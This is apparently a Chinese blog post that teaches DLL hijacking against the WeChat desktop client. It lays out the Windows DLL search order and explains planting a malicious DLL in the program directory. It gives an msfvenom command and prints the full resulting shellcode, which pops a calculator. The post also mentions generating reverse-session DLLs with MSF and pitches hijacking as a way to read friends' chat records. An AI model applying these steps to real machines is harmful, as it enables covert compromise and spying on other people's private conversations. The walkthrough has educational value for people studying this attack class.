微信获取DLL劫持攻击

2019-12-19 本文已影响0人 Hx丶G

什么是DLL劫持呢？

引用某度的说法：

<DLL劫持>技术当一个可执行文件运行时，Windows加载器将可执行模块映射到进程的地址空间中，加载器分析可执行模块的输入表，并设法找出任何需要的DLL，并将它们映射到进程的地址空间中

劫持聊天记录看好友是不是简单多了

比较通俗易懂的说法：

V❤----VS_h0no

当一个可执行程序运行时,windwos会加载程序运行必要的DLL文件,而系统会先在程序目录寻找DLL,如果没找到再到windows系统目录下寻找,最后在环境变量中列出的目录下查找,我们根据这一特性可以把恶意DLL放到程序目录下,等程序下一次运行,达到劫持目的

如何DLL劫持呢？

通常我们对某个应用，前提是没有加壳，一般我们通过分析，找到程序运行时加载的DLL，对其进行替换，当程序运行起来时，加载该DLL，就达到了劫持的目的，DLL被劫持之后，我们一般进行反弹会话之类的，此类的DLL可以通过MSF生成，我们可以在下期看看如何实现，此次我们利用自动化工具进行微信DLL劫持

V❤ ----------VS_H0BO

DLL加载顺序

1-应用程序的目录

2-c:\windows\system32

3-c:\windows\system

4-c:\windows

5-当前工作目录

6-系统PATH环境变量

7-用户PATH环境变量

我们尝试对微信进行DLL劫持，当运行的时候使其弹出计算器

msfvenom-p windows/exec cmd=calc.exe -f c -o shell.c

使用MSF生成shellcode，生成的如下：

\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00

将生成的shellcode文件复制到软件中